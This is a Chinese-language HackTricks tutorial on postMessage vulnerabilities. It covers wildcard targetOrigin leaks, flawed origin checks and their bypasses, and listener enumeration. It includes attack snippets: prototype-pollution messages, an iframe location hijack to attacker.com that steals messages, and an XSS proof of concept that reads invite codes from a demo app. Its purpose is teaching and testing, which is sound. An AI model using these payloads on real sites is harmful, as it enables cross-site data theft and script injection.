mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
237 lines
12 KiB
Markdown
237 lines
12 KiB
Markdown
# PostMessage漏洞
|
||
|
||
## PostMessage漏洞
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
## 发送**PostMessage**
|
||
|
||
**PostMessage**使用以下函数发送消息:
|
||
```bash
|
||
targetWindow.postMessage(message, targetOrigin, [transfer]);
|
||
|
||
# postMessage to current page
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe with id "idframe"
|
||
<iframe id="idframe" src="http://victim.com/"></iframe>
|
||
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an iframe via onload
|
||
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
|
||
|
||
# postMessage to popup
|
||
win = open('URL', 'hack', 'width=800,height=300,top=500');
|
||
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
|
||
# postMessage to an URL
|
||
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
|
||
|
||
# postMessage to iframe inside popup
|
||
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||
## loop until win.length == 1 (until the iframe is loaded)
|
||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||
```
|
||
请注意,**targetOrigin** 可以是 '\*' 或 URL,如 _https://company.com._\
|
||
在**第二种情况**中,**消息只能发送到该域**(即使窗口对象的来源不同)。\
|
||
如果使用**通配符**,**消息可以发送到任何域**,并将发送到窗口对象的来源。
|
||
|
||
### 攻击 iframe 和 **targetOrigin** 中的通配符
|
||
|
||
正如[**此报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)所解释的,如果您找到一个可以被**iframed**(没有 `X-Frame-Header` 保护)且通过**postMessage**发送**敏感**消息的页面,且使用**通配符**(\*),您可以**修改** **iframe** 的**来源**并将**敏感**消息**泄漏**到您控制的域。\
|
||
请注意,如果页面可以被 iframed 但**targetOrigin**设置为 URL 而不是通配符,则此**技巧将无效**。
|
||
```markup
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
setTimeout(exp, 6000); //Wait 6s
|
||
|
||
//Try to change the origin of the iframe each 100ms
|
||
function exp(){
|
||
setInterval(function(){
|
||
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
||
}, 100);
|
||
}
|
||
</script>
|
||
```
|
||
## addEventListener 漏洞利用
|
||
|
||
**`addEventListener`** 是 JS 使用的函数,用于声明期望接收 `postMessages` 的函数。\
|
||
将使用类似以下代码的代码:
|
||
```javascript
|
||
window.addEventListener("message", (event) => {
|
||
if (event.origin !== "http://example.org:8080")
|
||
return;
|
||
|
||
// ...
|
||
}, false);
|
||
```
|
||
### 枚举
|
||
|
||
为了在当前页面中找到事件监听器,您可以:
|
||
|
||
- **搜索**JS代码中的`window.addEventListener`和`$(window).on`(_JQuery版本_)
|
||
- 在开发者工具控制台中**执行**:`getEventListeners(window)`
|
||
|
||
![](<../../.gitbook/assets/image (618) (1) (1).png>)
|
||
|
||
- 转到浏览器的开发者工具中的_元素 --> 事件监听器_
|
||
|
||
![](<../../.gitbook/assets/image (617).png>)
|
||
|
||
- 使用类似[**https://github.com/benso-io/posta**](https://github.com/benso-io/posta)或[https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker)的**浏览器扩展**。这些浏览器扩展将**拦截所有消息**并显示给您。
|
||
|
||
### 源检查绕过
|
||
|
||
- **`event.isTrusted`**属性被认为是安全的,因为它仅对由真实用户操作生成的事件返回`True`。尽管如果实施正确,很难绕过,但它在安全检查中的重要性值得注意。
|
||
|
||
- 在PostMessage事件中使用**`indexOf()`**进行源验证可能会容易受到绕过。一个说明此漏洞的示例是:
|
||
|
||
```javascript
|
||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||
```
|
||
|
||
- `String.prototype.search()`中的**`search()`**方法用于正则表达式,而不是字符串。传递除正则表达式之外的任何内容会导致隐式转换为正则表达式,使该方法可能不安全。这是因为在正则表达式中,点(.)充当通配符,允许使用特别设计的域绕过验证。例如:
|
||
|
||
```javascript
|
||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||
```
|
||
|
||
- 与`search()`类似,**`match()`**函数处理正则表达式。如果正则表达式结构不正确,可能容易受到绕过攻击。
|
||
|
||
- **`escapeHtml`**函数旨在通过转义字符来对输入进行清理。但它不会创建新的转义对象,而是覆盖现有对象的属性。这种行为可能会被利用。特别是,如果可以操纵对象以使其受控属性不承认`hasOwnProperty`,则`escapeHtml`不会按预期执行。以下示例演示了这一点:
|
||
|
||
- 预期失败:
|
||
```javascript
|
||
result = u({
|
||
message: "'\"<b>\\"
|
||
});
|
||
result.message // "'"<b>\"
|
||
```
|
||
|
||
- 绕过转义:
|
||
```javascript
|
||
result = u(new Error("'\"<b>\\"));
|
||
result.message; // "'"<b>\"
|
||
```
|
||
|
||
在此漏洞的背景下,`File`对象由于其只读的`name`属性而容易受到利用。当在模板中使用此属性时,它不会被`escapeHtml`函数清理,从而导致潜在的安全风险。
|
||
|
||
- JavaScript中的`document.domain`属性可以由脚本设置为缩短域名,从而在同一父域内更轻松地执行同源策略。
|
||
|
||
### e.origin == window.origin绕过
|
||
|
||
在使用%%%<iframe sandbox="allow-scripts" src="https://example.com/iframe.php">%%%嵌入受沙盒保护的iframe中的网页时,了解iframe的源将设置为`null`至关重要。这在处理**沙盒属性**及其对安全性和功能的影响时尤为重要。
|
||
|
||
通过在沙盒属性中指定**`allow-popups`**,从iframe内部打开的任何弹出窗口都会继承其父级的沙盒限制。这意味着,除非还包括**`allow-popups-to-escape-sandbox`**属性,否则弹出窗口的源也会被设置为`null`,与iframe的源相匹配。
|
||
|
||
因此,在这些条件下打开弹出窗口并从iframe发送消息到弹出窗口时,发送和接收端的源都设置为`null`。这种情况导致**`e.origin == window.origin`**评估为true(`null == null`),因为iframe和弹出窗口共享`null`的相同源值。
|
||
|
||
有关更多信息,请阅读:
|
||
|
||
{% content-ref url="bypassing-sop-with-iframes-1.md" %}
|
||
[bypassing-sop-with-iframes-1.md](bypassing-sop-with-iframes-1.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 绕过e.source
|
||
|
||
可以检查消息是否来自脚本正在监听的同一窗口(对于**浏览器扩展的内容脚本**特别有趣,以检查消息是否来自同一页面):
|
||
```javascript
|
||
// If it’s not, return immediately.
|
||
if( received_message.source !== window ) {
|
||
return;
|
||
}
|
||
```
|
||
您可以通过创建一个**iframe**发送**postMessage**并**立即删除**它,强制消息的**`e.source`**为null。
|
||
|
||
要了解更多信息,请阅读:
|
||
|
||
{% content-ref url="bypassing-sop-with-iframes-2.md" %}
|
||
[bypassing-sop-with-iframes-2.md](bypassing-sop-with-iframes-2.md)
|
||
{% endcontent-ref %}
|
||
|
||
### X-Frame-Header绕过
|
||
|
||
为了执行这些攻击,理想情况下您可以将受害者网页放在一个`iframe`中。但是一些头部字段,如`X-Frame-Header`可能会**阻止**这种**行为**。\
|
||
在这种情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到受影响的Web应用程序并与其通信:
|
||
```markup
|
||
<script>
|
||
var w=window.open("<url>")
|
||
setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||
</script>
|
||
```
|
||
### 通过阻止主页面窃取发送给子页面的消息
|
||
|
||
在以下页面中,您可以看到如何通过在发送数据之前**阻止主页面**并利用**子iframe**中的**XSS**来**窃取敏感的postmessage数据**,在数据被接收之前**泄露数据**:
|
||
|
||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||
{% endcontent-ref %}
|
||
|
||
### 通过修改iframe位置窃取消息
|
||
|
||
如果您可以嵌入一个没有X-Frame-Header的包含另一个iframe的网页,您可以**更改该子iframe的位置**,因此,如果它正在接收使用**通配符**发送的**postmessage**,攻击者可以将该iframe的**来源**更改为由他控制的页面,并**窃取消息**:
|
||
|
||
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
|
||
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
|
||
{% endcontent-ref %}
|
||
|
||
### postMessage到Prototype Pollution和/或XSS
|
||
|
||
在通过`postMessage`发送的数据由JS执行的情况下,您可以**嵌入**该**页面**并利用**原型污染/XSS**通过`postMessage`发送利用程序。
|
||
|
||
可以在[https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)中找到一些**非常好解释的通过`postMessage`的XSS**示例。
|
||
|
||
通过`postMessage`滥用**原型污染然后XSS**到一个`iframe`的利用示例:
|
||
```html
|
||
<html>
|
||
<body>
|
||
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
|
||
<script>
|
||
function get_code() {
|
||
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
|
||
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
|
||
}
|
||
|
||
setTimeout(get_code, 2000);
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
**更多信息**:
|
||
|
||
* 链接到有关[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
|
||
* 链接到有关[**XSS**](../xss-cross-site-scripting/)的页面
|
||
* 链接到有关[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
|
||
|
||
## 参考资料
|
||
|
||
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
|
||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||
* 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
支持HackTricks的其他方式:
|
||
|
||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|